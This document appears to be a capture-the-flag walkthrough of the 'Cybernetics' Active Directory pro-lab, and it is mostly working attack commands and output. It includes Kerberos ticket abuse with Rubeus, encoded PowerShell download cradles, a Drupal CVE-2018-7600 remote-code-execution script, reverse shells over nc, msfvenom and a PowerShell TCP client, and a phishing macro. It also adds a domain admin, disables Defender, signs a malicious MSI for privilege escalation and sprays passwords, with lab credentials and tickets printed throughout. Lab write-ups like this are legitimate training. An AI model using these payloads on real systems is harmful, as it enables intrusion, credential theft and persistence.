WindowsPowerShell\v1.0;C:\Program Files\dotnet;C:\Program Files\Microsoft
Windows Performance Toolkit;C:\Program Files\Microsoft SQL
Server\130\Tools\Binn;C:\Program Files\Microsoft SQL Server\Client
SDK\ODBC\170\Tools\Binn;C:\Users\svc_apache\AppData\Local\Microsoft\WindowsAp
ps;"
Now, I can do this:

1 PS C:\users\svc_apache> whoami
2 whoami
3 m3c\svc_apache
4 PS C:\users\svc_apache> hostname
5 hostname
6 m3webaw

GenericWrite over M3DC

As seen here:

This is the abuse info :


The user SVC_APACHE@M3C.LOCAL has generic write access to the
computer M3DC.M3C.LOCAL. Generic Write access grants you the ability to
write to any non-protected attribute on the target object, including "members"
for a group, and "serviceprincipalnames" for a user

First, get PowerView and PowerMad on the host. As PowerView got caught by AV,
I had to switch to SharpView :
1 PS C:\users\svc_apache> .\SharpView.exe
2 .\SharpView.exe
3 Ex: SharpView.exe Method-Name -Switch -String domain -Array domain,user -Enum
ResetPassword -IntEnum CREATED_BY_SYSTEM,APP_BASIC -PointEnum
ResetPassword,All -Credential admin@domain.local/password
4 Execute 'Sharpview.exe <Method-Name> -Help' to get arguments list and
expected types

Testing this:

1 .\SharpView.exe Get-DomainController -Domain m3c.local

Returned:

1 Forest                         : m3c.local
2 CurrentTime                   : 4/30/2020 10:02:27 AM
3 HighestCommittedUsn           : 204976
4 OSVersion                     : Windows Server 2016 Standard
5 Roles                         : {SchemaRole, NamingRole, PdcRole, RidRole,
InfrastructureRole}
6 Domain                         : m3c.local
7 IPAddress                     : 10.9.20.10
8 SiteName                       : Default-First-Site-Name
9 InboundConnections             : {}
10 OutboundConnections           : {}
11 Name                           : m3dc.m3c.local
12 Partitions                     : {DC=m3c,DC=local,
CN=Configuration,DC=m3c,DC=local,
CN=Schema,CN=Configuration,DC=m3c,DC=local,
DC=DomainDnsZones,DC=m3c,DC=local, DC=ForestDnsZones,DC=m3c,DC=local}

The Attack

The easiest way to do this is to impersonate an admin, in this case:


Norma.Branham .

First, get a ticket for svc_apache :

1 .\Rubeus.exe tgtdeleg

And then add it to the klist:


1 .\Rubeus.exe s4u /user:svc_apache
/ticket:doIFFDCCBRCgAwIBBaEDAgEWooIEIDCCBBxhggQYMIIEFKADAgEFoQsbCU0zQy5MT0NBT
KIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4ID3jCCA9qgAwIBEqEDAgECooIDzASCA8
jYINRUv9Q0VUkrMZ7AkfQwYkCToiazmfRkPcCnfbVleOoSQg3R0xUI0LhCfD2seLCb8QhuZ4K+ckO
8mAF4CyJJQHZd4yiW0UsDKb6JnsOhWjKZM4Kl3rL0QRuKPXD1HYPVC8naoI57izH9ZIi+ApAdQTSU
UNjSiVdgwy482kbQBBcIyNMp4QOQm1eMBfcYk57UF9zZE7O3MJYTK8qP427Qa8Rcc0Jy9hCFAxs+A
qHOb+aHuhe5c7awOOlLgctnf4t40a21FblZOruClUHs9amxbwMV3xw7ShhOsYw8yDtNKylHnOmQSx
9CU24ckey/7Hw8qfWEeZa8O6dNz2BtpctLrKPf79NM2fIbkHJ0MsG5vXp3EZb5MKXySYZfchz88oM
g8AWeAh2WeuoK2GJCL9GERyGjmwzK5eK08hFNYmUQlzO9wSNu+E71Yp/9By/4QEOqAt8YuckmNxNF
LKJafYGXBnc3aKBMGgU0H7wsKT03xB54vFvNDX7nH/Sq7uDPe3cKWE0VP7lMu1ZOdJ4ytipc0ITpi
BOo5f/wPuQ3c1nXYvCMw0uKn0ep4eip/YDuyYUsn7NzrmijI85+wJNi6dEau6pW8m2AX8bgD81g/8
VoB2g9i7qao6sLpwq623Bci7LKdOg00x/1ifNFVgsB8zY1DcIP1k+YEurCgHEBC7lp7RQIaqLGctr
PERbGTbTqime+bxTqegvchLFIjKwI4Q+aKtgrwV/qJnzMLPCutjxUCbe62sml92+3WZVkmG2zOM+O
u4pCMYUSQQ0NWzehc8El4+1G8B6Y9TF8dR4pzWpLdUX4h9V4QjCgSPC2zRpAQyI1ToL1p6chhnFZT
2/W09Y5GBhllujWkbdAMwfRaXTnuIDH8A8LcdAWmMPb/6u9V5AWsB01xyV+XwZgb/817eM5ZYpMuc
sY+c+6D4Ue0zjhrBZYNAHVJWdXXBafXK9pPwtzUrsPdwhKpTkL4imsgthMMGE49j6ZkHxYB7m0VC3
cx7c8P0koKQCfkMDhzLtBA81+pOxa62YSFJVS/krHCkE9KY4T5/SHZCpURnUnp4pU7vRhExn9kiSN
uI9WJ09PlW2z9nvwDYBBlzjzlsqwYnX5eTomIXe2R6Ysi0Mf/lHjE1d2bo1SI34HJIhgSgiBLkLCK
JvIFjz5hfZ05bhQ7I2IP4wRxveOMXsfIWumk3dhBwLVIU6EJfBvSuHWNftZNYhTqfNNPP0+YhRRvc
RUyCzrbbOha+duq2beIVviIBB9yiG8cnMGZm1Smx2h7YJhDTrKPd/AFihxMaOB3zCB3KADAgEAooH
UBIHRfYHOMIHLoIHIMIHFMIHCoCswKaADAgESoSIEILe2A7eahUkcUxambg8bW+iM86Jh4KzBrHFl
yesu9XZ1oQsbCU0zQy5MT0NBTKIXMBWgAwIBAaEOMAwbCnN2Y19hcGFjaGWjBwMFAGChAAClERgPM
jAyMDA1MDIxNDA5NDZaphEYDzIwMjAwNTAzMDAwMDE4WqcRGA8yMDIwMDUwOTE0MDAxOFqoCxsJTT
NDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw=
/impersonateuser:Norma.Branham /domain:m3c.local /msdsspn:cifs/m3dc
/dc:m3dc.m3c.local /ptt

Then test access with:

1 dir \\m3dc\c$

This should output:

1 PS C:\users\svc_sql> dir \\m3dc\c$


2   Directory: \\m3dc\c$
3 ----               -------------         ------ ----            
4 d-----       11/19/2019   9:58 PM               PerfLogs
5 d-r---       1/23/2020 11:53 PM               Program Files
6 d-----         1/2/2020 10:39 AM               Program Files (x86)
7 d-----         5/2/2020 11:01 AM               temp
8 d-r---         1/6/2020 12:15 PM               Users
9 d-----         5/2/2020 11:03 AM               Windows

Finally, get a session:


1 .\PsExec64.exe \\m3dc cmd /c "powershell.exe -nop -encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA="

With that, dump creds in Cobalt Strike . Now its possible to get easy access.

Persistent Control of M3.LOCAL

The quickest way to get here is to execute the foothold-cobalt.py script which
will spawn a beacon. Then, jump to m3sqlw and get a beacon:

1 shell osql -E -S "CYWEBDW" -Q "EXECUTE('sp_configure


''xp_cmdshell'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"
2 shell osql -S CYWEBDW\SQLEXPRESS -E -Q "EXECUTE('master..xp_cmdshell
''powershell.exe -nop -encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=''') AT
[m3sqlw.m3c.local]"

Next, generate the ticket:

1 cd c:\users\svc_sql
2 shell .\Rubeus.exe asktgt /user:administrator
/aes256:557c01a3306b1a21f5b1f4efb36daa24c1757398899dcd8a06f106ba169103f5 /ptt

And then upload PSExec64.exe and execute it to get a new beacon:

1 shell .\PsExec64.exe -accepteula \\m3dc cmd /c "powershell.exe -nop -


encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA="

Starting the Enumeration again

With the beacon, I can now trigger add a Domain Administrator:


1 shell net users mez0 mez0mez0123! /add /domain & net group "Domain Admins"
mez0 /add

And then get a new session as that user:

1 shell .\PsExec64.exe -accepteula -u m3c\mez0 -p mez0mez0123! \\m3dc cmd /c


"powershell.exe -nop -encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA="

Flag:

1 Cyb3rN3t1C5{C0n$tr@!n3d!}

With that, I want to work out of a shell rather than Cobalt Strike . So, upload
nc64.exe and:

1 shell .\nc64.exe 10.10.14.9 80 -e


"C:\\Windows\\System32\\WindowsPowerShell\\V1.0\\powershell.exe"

Kill defender:

1 Set-MpPreference -DisableRealtimeMonitoring $true

Forest Enumeration

Using PowerView I found a new Forest:

1 Get-DomainTrust

Which found:
1 SourceName     : m3c.local
2 TargetName     : cyber.local
3 TrustType       : WINDOWS_ACTIVE_DIRECTORY
4 TrustAttributes : FOREST_TRANSITIVE
5 TrustDirection : Outbound
6 WhenCreated     : 1/5/2020 4:27:58 PM
7 WhenChanged     : 3/6/2020 1:34:11 PM


FOREST_TRANSITIVE (0x00000008) – cross-forest trust between the root
of two domain forests running at least domain functional level 2003 or
above.

Quote from @Thalpius:


This was something that messed with my head when I started—from an
offensive perspective, what we care about is the direction of access, not the
direction of the trust. With a one-way trust where A -trusts-> B, if the trust is
enumerated from A, the trust is marked as outbound, while if the same trust
is enumerated from B the trust is marked as inbound, while the potential
access is from B to A.

In this case, m3c.local is the perspective of which the enumeration is done. So,
the trust direction is outbound meaning that cyber.local trusts m3c.local . If this
enumeration was done from cyber.local , then TrustDirection would be
inbound . I think .

Really, this is the bible: http://www.harmj0y.net/blog/redteaming/a-guide-to-attackin


g-domain-trusts/

Here is another domain:

1 TopLevelNames           : {cyber.local}
2 ExcludedTopLevelNames   : {}
3 TrustedDomainInformation : {cyber.local, core.cyber.local}
4 SourceName               : m3c.local
5 TargetName               : cyber.local
6 TrustType               : Forest
7 TrustDirection           : Outbound
The top level is cyber.local , but it also has core.cyber.local as a trusted
domain.

Looking in DNS Manager :

The IPs:

1 core.cyber.local: 10.9.15.10
2 cyber.local: 10.9.10.10

Scanning for new hosts

Using these as /24s I used the following to find hosts:

1 1..254 | % {"10.9.15.$($_): $(Test-Connection -count 1 -comp 10.9.15.$($_) -


quiet)"}
2 1..254 | % {"10.9.10.$($_): $(Test-Connection -count 1 -comp 10.9.10.$($_) -
quiet)"}

This resulted in:

1 10.9.15.1: True
2 10.9.15.10: True                                            
3 10.9.15.11: True                                            
4 10.9.15.12: True                                          
5 10.9.15.200: True                                        
6 10.9.15.201: True

Ports:

1 10.9.15.11:80

Drupal Enumeration

To assess this, I opened a SOCKS Server on tcp/13004 as SYSTEM on the


Domain Controller and tested with curl :
1 HTTP/1.1 200 OK
2 Date: Wed, 06 May 2020 09:23:12 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Cache-Control: must-revalidate, no-cache, private
5 X-Drupal-Dynamic-Cache: MISS
6 X-UA-Compatible: IE=edge
7 Content-language: en
8 X-Content-Type-Options: nosniff
9 X-Frame-Options: SAMEORIGIN
10 Expires: Sun, 19 Nov 1978 05:00:00 GMT
11 X-Generator: Drupal 8 (https://www.drupal.org)
12 X-Drupal-Cache: HIT
13 Content-Type: text/html; charset=UTF-8

The host appears to be Drupal . For a quick scan, I threw droopescan at it to get
the version:

1 proxychains droopescan scan drupal -u http://10.9.15.11 --enumerate v

This found the version to be 8.4.5 :

1 [+] Possible version(s):                                                    


   
2   8.4.5
3
4 [+] Scan finished (0:00:01.666233 elapsed)

To browse to the host:

1 chromium --proxy-server="socks4://127.0.0.1:13004"

Looking through the website, it reveals an email address:


In an effort to increase our security posture, we have moved forward with
user certificate authentication. If you haven't had the opportunity to come into
the office or are using your own devices, you can request a certificate via the
certenroll API (see below). For more information on this process check out h
ttps://blogs.technet.microsoft.com/askds/2010/05/25/enabling-cep-and-ces-for
-enrolling-non-domain-joined-computers-for-certificates/ . If you're still having
issues email Ilene_Rasch@cyber.local over at Help Desk. Furthermore, we
have started to roll out our network segmentation plan to only allow business
related traffic. We also deployed Zabbix with an API to increase our
systems/network visibility. The process is simple, the zabapi user logs in,
collects information and sends it back to the console. Requesting a user
certificate can only be done from a windows machine

1. Request a certificate from https://certenroll.cyber.local/ADPolicyProvider_


CEP_UsernamePassword/service.svc/CEP (Public IP: 10.10.110.11.
Requires RootCA from the parent SYSVOL directory)
2. Once you have a certificate you can authenticate to Email and Jenkins
User Email: https://mail.cyber.local/owa (Public IP: 10.10.110.12) Jenkins:
https://jenkins.cyber.local (Public IP: 10.10.110.12. Only DevOPS can
authenticate to this portal) Have a wonderful day

Googling the version, I found this: https://github.com/a2u/CVE-2018-7600/blob/ma


ster/exploit.py

I reworked the code into a pseudo-shell:

1 #!/usr/bin/env python3
2 import requests
3
4 print ('CVE-2018-7600: Mez0')
5
6 target = 'http://10.9.15.11/'
7 url = target + 'user/register?
element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_aja
x'
8
9 proxies = {'http': 'socks4://127.0.0.1:13004', 'https':
'socks4://127.0.0.1:13004'}
10 verify = False
11
12 while True:
13 cmd = input('> ')
14 payload = f'bash -c {cmd} | tee payload.txt'
15 data = {'form_id': 'user_register_form', '_drupal_ajax': '1',
'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]':
payload}
16 r = requests.post(url, proxies=proxies, data=data, verify=verify)
17 check = requests.get(target + 'payload.txt', proxies=proxies,
verify=verify)
18 if check.status_code != 200:
19 sys.exit("Not exploitable")
20 else:
21 print(check.text)

Running this gives me code execution:

1 {20-05-06 12:13}kali:~/Dropbox/htb/pro-labs/cybernetics/logs/scripts root#


./drupal.py
2 CVE-2018-7600: Mez0
3 > ls -l
4 LICENSE.txt
5 README.txt
6 autoload.php
7 composer.json
8 composer.lock
9 core
10 example.gitignore
11 hello.txt
12 index.php
13 modules
14 payload.txt
15 profiles
16 robots.txt
17 sites
18 themes
19 update.php
20 vendor
21 web.config
22
23 > whoami
24 www-data
25
26 > hostname
27 corewebdl

corewebdl

This host is on the new subnet:


1 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
2 inet 10.9.15.11 netmask 255.255.255.0 broadcast 10.9.15.255  
3 inet6 fe80::250:56ff:feb9:3ba7 prefixlen 64 scopeid 0x20<link>
4 ether 00:50:56:b9:3b:a7 txqueuelen 1000 (Ethernet)  
5 RX packets 53074 bytes 6999347 (6.9 MB)  
6 RX errors 0 dropped 45 overruns 0 frame 0  
7 TX packets 63503 bytes 68162032 (68.1 MB)
8 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Its a Ubuntu host:

1 Distributor ID: Ubuntu


2 Description:   Ubuntu 18.04.3 LTS
3 Release:       18.04
4 Codename:       bionic

In /var/www/ , I found a flag:

1 Cyb3rN3t1C5{W3lC0m3_2_Cyb3rn3t!cs}

I can ping the domain controller, but not myself:

1 > ping -c 2 10.9.20.10


2 Payload: rm payload.txt; bash -c 'ping -c 2 10.9.20.10' | tee payload.txt
3 PING 10.9.20.10 (10.9.20.10) 56(84) bytes of data.
4 64 bytes from 10.9.20.10: icmp_seq=1 ttl=127 time=0.385 ms
5 64 bytes from 10.9.20.10: icmp_seq=2 ttl=127 time=0.645 ms
6
7 --- 10.9.20.10 ping statistics ---
8 2 packets transmitted, 2 received, 0% packet loss, time 1029ms
9 rtt min/avg/max/mdev = 0.385/0.515/0.645/0.130 ms
10
11 > ping -c 2 10.10.14.9
12 Payload: rm payload.txt; bash -c 'ping -c 2 10.10.14.9' | tee payload.txt
13 PING 10.10.14.9 (10.10.14.9) 56(84) bytes of data.
14
15 --- 10.10.14.9 ping statistics ---
16 2 packets transmitted, 0 received, 100% packet loss, time 1010ms

To get a more consistent shell, I did the following:


1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.9 LPORT=80 -f
elf -o revtcp.elf

And then from the RCE :

1 echo
"f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQA
AAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0
i5AgAAUAoKDgdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o
8WGoBXw8FXmp+Wg8FSIXAeO3/5g==" |base64 -d > revtcp.elf

And when in:

1 python -c 'import pty; pty.spawn("/bin/bash")'

As per the requirement to grab the crt file, it was identified:

1 www-data@corewebdl:~/html/drupal$ smbclient //10.9.10.10/SYSVOL -U


'CORE\george.wirth'%'v765#QLm^8' -c 'recurse;ls'|grep crt -B5
2 WARNING: The "syslog" option is deprecated
3
4 \cyber.local\scripts
5 .                                   D       0 Sun Jan 12 09:26:20 2020
6 ..                                 D       0 Sun Jan 12 09:26:20 2020
7 ADFS-Token.cer                     A     736 Tue Dec 31 02:19:46 2019
8 cydc.cyber.local_Cyber-CA.crt       A     468 Tue Dec 31 01:51:08 2019
9 www-data@corewebdl:~/html/drupal$

Downloading it:

1 smbclient //10.9.10.10/SYSVOL/ -U 'CORE\george.wirth'%'v765#QLm^8'

1 {20-05-12 19:21}kali:~/Dropbox/htb/pro-labs/cybernetics/loot/certs root# ll


2 total 8.0K
3 -rw-r--r-- 1 root root 736 May 12 19:20 ADFS-Token.cer
4 -rw-r--r-- 1 root root 468 May 12 19:20 cydc.cyber.local_Cyber-CA.crt
“Note: I was given these creds: george.wirth'%'v765#QLm^8 but apparently
theyre in descriptions.

Gaining Access to mail.cyber.local

Adding to hosts :

1 # Copyright (c) 1993-2009 Microsoft Corp.


2 #
3 # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
4 #
5 # This file contains the mappings of IP addresses to host names. Each
6 # entry should be kept on an individual line. The IP address should
7 # be placed in the first column followed by the corresponding host name.
8 # The IP address and the host name should be separated by at least one
9 # space.
10 #
11 # Additionally, comments (such as these) may be inserted on individual
12 # lines or following the machine name denoted by a '#' symbol.
13 #
14 # For example:
15 #
16 #     102.54.94.97     rhino.acme.com         # source server
17 #       38.25.63.10     x.acme.com             # x client host
18 10.10.110.11   certenroll.cyber.local
19 10.10.110.12   mail.cyber.local
20 10.10.110.12   adfs.cyber.local
21 # localhost name resolution is handled within DNS itself.
22 # 127.0.0.1       localhost
23 # ::1             localhost

Open certmgr under Current User :


Then:

Import cydc.cyber.local_Cyber-CA.crt and ADFS-Token.cer into Trusted Root

Certificate Authorities .

Then:

1 Personal > Right Click > All Tasks > Advanced Operations > Manage Enrollement
Policies

When the new window appears, click Add... . Then, in the Enter enrollment

Policy server URI input, add:

https://certenroll.cyber.local/ADPolicyProvider_CEP_UsernamePassword/service.s
vc/CEP

Change the authentication type to Username/password and click Validate

Server . When this prompts, use these credentials:

1 core\george.wirth
2 v765#QLm^8

If this works, then the dialogue box at the bottom should read:
1 The URI
"https://certenroll.cyber.local/ADPolicyProvider_CEP_UsernamePassword/service
.svc/CEP" was validated successfully.
2
3 Enrollment ID
4     {03139639-C42D-4385-BE39-A32EABC28047}
5 Enrollment Friendly Name
6     Cyber-ADCS

Now, from the same place:

1 Personal > Right Click > All Tasks > Advanced Operations > Manage Enrollement
Policies

Request a new Certificate. If all is going well, then the Cyber-ADCS cert should
already be populated:

After hitting Next , Check UserCert and hit Enroll . This will respond with an
error, click continue for a prompt and use:

1 core\george.wirth
2 v765#QLm^8
The happy sign:

For the access error, Im going to guess it tried to use Windows Integration and
failed because I'm not authenticated to the host as a domain user.

And then browse to: https://mail.cyber.local/owa/

Emailing Ilene

The next step is to gain access to ilene.rasch@cyber.local .

This macro will be used for the payload and this line is where the payload will go
within the macro.

On a bad payload:

The line I'm adding:


1 cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object
System.Net.WebClient).DownloadString('http://10.10.14.10:80/shell.ps1')) #"

Where shell.ps1 is:

1 $socket = new-object System.Net.Sockets.TcpClient('10.10.14.10', 443);


2 if($socket -eq $null){exit 1}
3 $stream = $socket.GetStream();
4 $writer = new-object System.IO.StreamWriter($stream);
5 $buffer = new-object System.Byte[] 1024;
6 $encoding = new-object System.Text.AsciiEncoding;
7 do
8 {
9 $writer.Flush();
10 $read = $null;
11 $res = ""
12 while($stream.DataAvailable -or $read -eq $null) {
13 $read = $stream.Read($buffer, 0, 1024)
14 }
15 $out = $encoding.GetString($buffer, 0,
$read).Replace("`r`n","").Replace("`n","");
16 if(!$out.equals("exit")){
17 $args = "";
18 if($out.IndexOf(' ') -gt -1){
19 $args = $out.substring($out.IndexOf(' ')+1);
20 $out = $out.substring(0,$out.IndexOf(' '));
21 if($args.split(' ').length -gt 1){
22                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
23                $pinfo.FileName = "cmd.exe"
24                $pinfo.RedirectStandardError = $true
25                $pinfo.RedirectStandardOutput = $true
26                $pinfo.UseShellExecute = $false
27                $pinfo.Arguments = "/c $out $args"
28                $p = New-Object System.Diagnostics.Process
29                $p.StartInfo = $pinfo
30                $p.Start() | Out-Null
31                $p.WaitForExit()
32                $stdout = $p.StandardOutput.ReadToEnd()
33                $stderr = $p.StandardError.ReadToEnd()
34                if ($p.ExitCode -ne 0) {
35                    $res = $stderr
36                } else {
37                    $res = $stdout
38                }
39 }
40 else{
41 $res = (&"$out" "$args") | out-string;
42 }
43 }
44 else{
45 $res = (&"$out") | out-string;
46 }
47 if($res -ne $null){
48        $writer.WriteLine($res)
49    }
50 }
51 }While (!$out.equals("exit"))
52 $writer.close();
53 $socket.close();
54 $stream.Dispose()

After installing Python, run this:

1 python.exe -m http.server 80

Make sure the script is in the directory and save the macro out as docm .

It works!

Escalating

1 [*] Running Invoke-AllChecks


2 [*] Checking if user is in a local group with administrative privileges...
3 [*] Checking for unquoted service paths...
4 [*] Checking service executable and argument permissions...
5 [*] Checking service permissions...
6 [*] Checking %PATH% for potentially hijackable DLL locations...
7 ModifiablePath   : C:\Users\Ilene.Rasch\AppData\Local\Microsoft\WindowsApps
8 IdentityReference : core\Ilene.Rasch
9 Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
10 %PATH%           : C:\Users\Ilene.Rasch\AppData\Local\Microsoft\WindowsApps
11 AbuseFunction     : Write-HijackDll -DllPath
12                  
'C:\Users\Ilene.Rasch\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
13 [*] Checking for AlwaysInstallElevated registry key...
14 AbuseFunction : Write-UserAddMSI
15 [*] Checking for Autologon credentials in registry...
16 DefaultDomainName   : core.cyber.local
17 DefaultUserName     : Ilene.Rasch
18 DefaultPassword     :
19 AltDefaultDomainName :
20 AltDefaultUserName   :
21 AltDefaultPassword   :
22 [*] Checking for modifidable registry autoruns and configs...
23 [*] Checking for modifiable schtask files/configs...
24 [*] Checking for unattended install files...
25 [*] Checking for encrypted web.config strings...
26 [*] Checking for encrypted application pool and virtual directory
passwords...
27 [*] Checking for plaintext passwords in McAfee SiteList.xml files....
28 [*] Checking for cached Group Policy Preferences .xml files....

Presumably, its Write-UserAddMSI .


AlwaysInstallElevated is functionality that offers all users(especially the low
privileged user) on a windows machine to run any MSI file with elevated
privileges. MSI is a Microsoft based installer package file format which is
used for installing, storing and removing of a program.

The above is taken from: https://hacknpentest.com/windows-privilege-escalation-vi


a-alwaysinstallelevated-technique/

first, download wix and then use this as a template to create the following out to
something.wix :

1 <?xml version="1.0"?>
2 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
3   <Product
4      Id="*"
5      UpgradeCode="12345678-1234-1234-1234-111111111111"
6      Name="Example Product Name"
7      Version="0.0.1"
8      Manufacturer="Example Company Name"
9      Language="1033">
10      
11      <Package InstallerVersion="200" Compressed="yes" Comments="Windows
Installer Package" InstallPrivileges="elevated"/>
12      <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
13
14
15      <Directory Id="TARGETDIR" Name="SourceDir">
16         <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-
222222222222"/>              
17      </Directory>
18
19      <Feature Id="DefaultFeature" Level="1">
20         <ComponentRef Id="ApplicationFiles"/>
21      </Feature>
22
23 <!-- Execute SYSTEM shell back either via executable or powershell one-liner
-->
24 <!-- ExeCommand ='powershell -nop -w hidden -enc
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBu
AHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADcA
MgAuADEANgAuADEAOQA4AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==' -->
25      <CustomAction
26         Id         ="a_system_shell"                    
27         Directory   ="TARGETDIR"
28         ExeCommand ='c:\windows\tasks\nc.exe 10.10.14.10 443 -e
c:\windows\system32\cmd.exe'
29         Return     ="asyncNoWait"
30         Execute     ="deferred"
31         Impersonate ="no"
32      />
33
34 <!-- Attempt to execute nonexistant program, which causes installer to fail,
so example.msi won't be registered as an installed program -->
35      <CustomAction
36         Id         ="z_gonna_fail"                    
37         Directory   ="TARGETDIR"
38         ExeCommand ='C:\asdfasdfasdf.exe'
39         Return     ="check"
40         Execute     ="deferred"
41         Impersonate ="no"
42      />
43
44   <InstallExecuteSequence>
45      <Custom Action="a_system_shell" After="InstallInitialize" />
46      <Custom Action="z_gonna_fail" Before="InstallFinalize" />
47   </InstallExecuteSequence>
48  
49   </Product>
50 </Wix>
51

Then build it:

1 cd "C:\Program Files (x86)\WiX Toolset v3.11\bin"


2 .\candle.exe "C:\Users\mez0\Desktop\cybernetics\mez0.wix"
3 .\light.exe "mez0.wixobj"

This should produce:


1 -a----       26/05/2020     17:22         32768 mez0.msi

Now, with the files obtained from the DevOps share, get the password:

1 $username = "Username"
2 $GetKey = Get-Content "C:\users\thalpius\downloads\key.aes"
3 $EncryptedPasswordFile = "C:\users\thalpius\downloads\secrets.aes"
4 $SecureStringPassword = Get-Content -Path $EncryptedPasswordFile | ConvertTo-
SecureString -Key $GetKey
5 $Credential = New-Object -TypeName System.Management.Automation.PSCredential
-ArgumentList $username,$SecureStringPassword
6 $Credential.GetNetworkCredential().Password

This becomes:

1 to7oxaith2Vie9

After spraying this across the domain:

1 Total users found: 79


2   Robert.Ortiz is using password to7oxaith2Vie9
3 Total users found with given password: 1

On a NEW MACHINE, I readded the certs and enrolled. Then, requested a


CyberSigning cert on behalf of Robert.Ortiz :
With that, get the thumbprint by Double Clicking the cert and going to details :
then sign it:

1 $cert = Get-ChildItem
Cert:\CurrentUser\My\42b679f2e874fd896a12548a5d580be35527ebd6
2 Set-AuthenticodeSignature -Certificate $cert -FilePath .\mez0.msi

If this worked, PowerShell should spit out:

1 SignerCertificate                         Status                            
    Path
2 -----------------                         ------                            
    ----
3 42B679F2E874FD896A12548A5D580BE35527EBD6 Valid                              
  mez0.msi

This should add a signature to the msi :

1 msiexec /quiet /qn /i C:\Windows\Tasks\mez0.msi

And a shell:
1 PS C:\Users\mez0\Desktop\cybernetics> .\nc64.exe -nvlp 443
2 listening on [any] 443 ...
3 connect to [10.10.14.10] from (UNKNOWN) [10.10.110.250] 32576
4 Microsoft Windows [Version 10.0.18362.720]
5 (c) 2019 Microsoft Corporation. All rights reserved.
6
7 C:\>whoami
8 whoami
9 nt authority\system

Flag Hunting!

Found here:

1 type "C:\Program Files\WindowsPowerShell\Modules\Invoke-OpenEmail\Invoke-


OpenEmail.psm1"

1 if ($Mail.Subject -like "*flag*") {


2    Write-Host -ForegroundColor Magenta "[+] Replying with lab Flag"
3    $Reply = $mail.Reply()
4    $Reply.Subject = "You can't phish me!"
5    $Reply.Body = "Cyb3rN3t1C5{Y0u_C@nt_Ph!`$h_M3}"
6    $Reply.Send()

Based on the name of my missing one, The art of writing descriptions . I went
hunting:

1 .\sharpview.exe Get-DomainUser -Domain core.cyber.local |findstr description

Which resulted in:

1 description                   : Built-in account for administering the


computer/domain
2 description                   : Built-in account for guest access to the
computer/domain
3 description                   : A user account managed by the system.
4 description                   : Key Distribution Center Service Account
5 description                   : v765#QLm^8
#Cyb3rN3t1C5{Cr3d$_!n_De$cr!pti0ns}
And another:

1 C:\Users\Administrator\flag.txt
2 Cyb3rN3t1C5{D3vOP$_C0d3_S!gning}

In the devops share:

1 net use H: \\cyfs.cyber.local\devops to7oxaith2Vie9 /user:Robert.Ortiz


2 cd H:\
3 H:\>type flag.txt
4 type flag.txt
5 Cyb3rN3t1C5{D3vOP$_S3cure_Cr3d$}

Moving to corewkt002

There is an unintended way to do this.

Unintended

Okay, so, this bit I dont understand at all. I had a hint from the next flag: Not

again Steven! and speaking to other people. I came up with this:

1 .\Rubeus45.exe tgtdeleg
2 .\Rubeus45.exe s4u /ticket:<ticket> /impersonateuser:administrator
/msdsspn:cifs/COREWKT002.core.cyber.local /altservice:cifs,host,ldap,http
